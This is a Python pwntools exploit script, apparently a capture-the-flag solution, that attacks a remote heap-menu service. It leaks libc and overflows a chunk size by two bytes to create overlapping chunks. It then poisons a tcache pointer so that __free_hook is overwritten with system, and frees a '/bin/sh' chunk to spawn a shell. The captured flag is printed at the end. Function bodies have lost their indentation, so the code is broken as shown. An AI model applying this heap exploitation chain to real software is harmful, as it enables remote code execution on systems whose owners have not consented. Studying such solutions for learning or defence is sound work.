```
#!/usr/bin/python
#dont judge my python2 :)
from pwn import *

# p= process('./unintended')
p =remote('193.57.159.27',52018)

# pid = gdb.attach(p,gdbscript='''
# b * menu
# ''')

#Helper functions
def make_challenge(index,category,name,desc_len,desc,points):

p.sendlineafter('> ','1')
p.sendlineafter('number: ',str(index))
p.sendlineafter('category: ',category)
p.sendlineafter('name: ',name)
p.sendlineafter('length: ',str(desc_len))
p.sendlineafter('description: ',desc)
p.sendlineafter('Points: ',str(points))

def patch_challenge(index,desc):

p.sendlineafter('> ','2')
p.sendlineafter('number: ',str(index))
p.sendafter('description: ',desc)

def deploy_challenge(index):

p.sendlineafter('> ','3')
p.sendlineafter('number: ',str(index))

def take_down_challenge(index):

p.sendlineafter('> ','4')
p.sendlineafter('number: ',str(index))

def leak():

#Target for leak
make_challenge(0,'AAAAAAAA','BBBBBBBB',2000,'CCCCCCC|',100)

#Holder for top chunk not to consolidate
make_challenge(1,'AAAAAAAA','BBBBBBBB',10,'CCCCCCC|',100)

#Free target
take_down_challenge(0)

#Put the same chunk on the same place but only overwrite 8 bytes of fp to get printf to printout bp's address
make_challenge(0,'AAAAAAAA','BBBBBBBB',2000,'CCCCCCC|',100)

#View the leak
deploy_challenge(0)

#Parse the leak
p.recvuntil('|')
leak = u64(p.recv(6).ljust(8,'\0'))

print hex(leak)
return leak

def code_redirect(where,what):

#Target for off by 2 attack fill it up with data so we can attack strlen later
make_challenge(2,'AAAAAAAA','BBBBBBBB',2000,'C'*2000,100)

#Target for overlapping chunk attack
make_challenge(3,'AAAAAAAA','BBBBBBBB',10,'CCCCCCC|',100)

#Holder not to consolidate with top chunk
make_challenge(5,'AAAAAAAA','BBBBBBBB',10,'CCCCCCC|',100)

#Free target for overlap to put it in unsorted bin to trigger consolidation
take_down_challenge(2)

#Put half the size chunk in the same address as [2] and fill it up to overwrite bk and fp so there is no nullbytes
#Important for strlen
make_challenge(2,'web','before',1000,'X'*50,100)

#Strlen will return size+2 (2 for the size in the header of the blob in unsorted bin since there are no \0 in body)
#We use that to overwrite the size of this free chunk to make it larger(we will use that to overwrite freed chunks later)
patch_challenge(2,'\0'*0x3e8 + '\xff\x05')

#We allocate the descrption chunk large enough to get unsorted bin blob pointing just above [3] so next time we allocate a chunk we will be
#Able to overwrite [3] fd pointer to redirect code
#We also set the name of the chunk to /bin/sh\0 to free it later when we overwrite free_hook
make_challenge(4,'/bin/sh\0','after',0x380,'D'*50,100) #B1

#Free the chunk to get it into Tcache bin, we will now allocate another chunk and overwrite this chunks fd pointer and trigger a chain reaction
#That leads to forcing malloc to return arbitrary pointer
take_down_challenge(3)

#Allocate another chunk that overlaps with [3], now we are able to overwrite [3] fd pointer with whatever we want, i chose __free_hook
make_challenge(7,'DDDDDDDD','EEEEEEEE',150,'FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF'+p64(where),100)

#We malloc 2 more chunks and in the second one will be allocated onto _free_hook, so we write there
make_challenge(8,'AAAAAAAA','BBBBBBBB',10,'C',100)
make_challenge(9,'AAAAAAAA','BBBBBBBB',10,p64(what),100)

#Remember the chunk before whos name we set to /bin/sh\0 ? well this is how we get a shell, we free that chunk after having overwritten
#__free_hook with system
take_down_challenge(4)

def exploit():
libc_leak = leak()

libc_base = libc_leak -0x3ebc0a

free_hook = libc_base +0x0000000003ed8e8

one_gadget = libc_base +0x10a41c

one_gadget1 = libc_base +0x4f432

one_gadget2 = libc_base +0x4f3d5
system = libc_base +0x00000000004f550

#Logging
print 'libc base: ',hex(libc_base)
print 'free hook: ',hex(free_hook)
print 'one gadget: ',hex(one_gadget2)
print 'system: ',hex(system)

#we will write addr of system on __free_hook
code_redirect(free_hook, system)

if __name__ == '__main__':
exploit()
p.interactive()
#rarctf{y0u_b3tt3r_h4v3_us3d_th3_int3nd3d...89406fae76}
```